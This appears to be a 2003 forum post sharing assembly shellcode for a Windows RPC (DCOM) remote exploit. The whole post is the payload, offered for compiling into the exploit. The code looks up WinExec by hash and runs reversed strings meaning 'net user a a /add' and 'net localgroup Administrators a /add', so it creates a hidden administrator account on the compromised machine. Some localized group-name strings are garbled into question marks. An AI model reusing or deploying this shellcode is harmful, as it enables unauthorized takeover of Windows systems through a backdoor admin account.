|
|
|
 |
kkkk
Oct 9 2003, 01:37 PM
SO..
To compile rpc2 universal u ll need this>>
| CODE | Universal shellcode for Windows RPC2 Universal Exploit
; Segment type: Pure code
;seg000 segment byte public 'CODE' use32
; assume cs:seg000
; assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.386
assume cs:seg000
var_29C = byte ptr -29Ch
var_28C = byte ptr -28Ch
var_25F = byte ptr -25Fh
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
seg000 segment byte public 'CODE' use32
beginofpackeddata:; CODE XREF: UnXORFunc+17j
push ebp
mov ebp, esp
sub esp, 80h
mov esi, esp
call sub_191
push eax
mov eax, fs:18h
mov eax, [eax+30h]
lea eax, [eax+18h]
mov ebx, 190000h
mov [eax], ebx
pop eax
mov [esi], eax
push dword ptr [esi]
push 0E8AFE98h
call GetFunctionBYName;WinExec
mov [esi+0Ch], eax
push dword ptr [esi]
push 73e2d87eh
call GetFunctionBYName;ExitProcess
mov [esi+10h], eax
xor eax, eax
push eax
push 'd'
push 'da/ '
push 'a a '
push 'resu'
push ' ten'
mov ecx, esp
push eax
push ecx
call dword ptr [esi+0Ch]
xor eax, eax
push eax
push 'd'
push 'da/ '
push 'a v'
push '????'
push '??+?'
push '????'
push 'L pu'
push 'orgl'
push 'acol'
push ' ten'
mov ecx, esp
push eax
push ecx
call dword ptr [esi+0Ch]
xor eax, eax
push eax
push 'd'
push 'da/ '
push 'a ?'
push '?<?a'
push '????'
push '???n'
push 'C pu'
push 'orgl'
push 'acol'
push ' ten'
mov ecx, esp
push eax
push ecx
call dword ptr [esi+0Ch]
xor eax, eax
push eax
push 'd'
push 'da/ '
push 'a s'
push 'rota'
push 'rtsi'
push 'nimd'
push 'A pu'
push 'orgl'
push 'acol'
push ' ten'
mov ecx, esp
push eax
push ecx
call dword ptr [esi+0Ch]
push 0h
call dword ptr [esi+10h];
; end
; ??????????????? S U B R O U T I N E ???????????????????????????????????????
GetFunctionBYName proc near; CODE XREF: UnXORFunc+31p
; UnXORFunc+40p ...
arg_0 = dword ptr 14h
arg_4 = dword ptr 18h
push ebx
push ebp
push esi
push edi
mov ebp, [esp+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_1B2:; CODE XREF: GetFunctionBYName+36j
jecxz short loc_1E6
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
cld
loc_1BD:; CODE XREF: GetFunctionBYName+30j
xor eax, eax
lodsb
cmp al, ah
jz short loc_1CB
ror edi, 0Dh
add edi, eax
jmp short loc_1BD
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
loc_1CB:; CODE XREF: GetFunctionBYName+29j
cmp edi, [esp+arg_0]
jnz short loc_1B2
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
jmp short loc_1E8
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
loc_1E6:; CODE XREF: GetFunctionBYName+19j
xor eax, eax
loc_1E8:; CODE XREF: GetFunctionBYName+4Bj
mov edx, ebp
pop edi
pop esi
pop ebp
pop ebx
retn 4
GetFunctionBYName endp
sub_191 proc near; CODE XREF: sub_76+Bp
push ebp
push esi
mov eax, fs:30h
test eax, eax
js short loc_1A9
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp short loc_1B2
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
loc_1A9:; CODE XREF: sub_191+Aj
mov eax, [eax+34h]
mov ebp, [eax+0B8h]
loc_1B2:; CODE XREF: sub_191+16j
mov eax, ebp
pop esi
pop ebp
retn 4
sub_191 endp
; aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
seg000 ends
end
|
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
| |
|
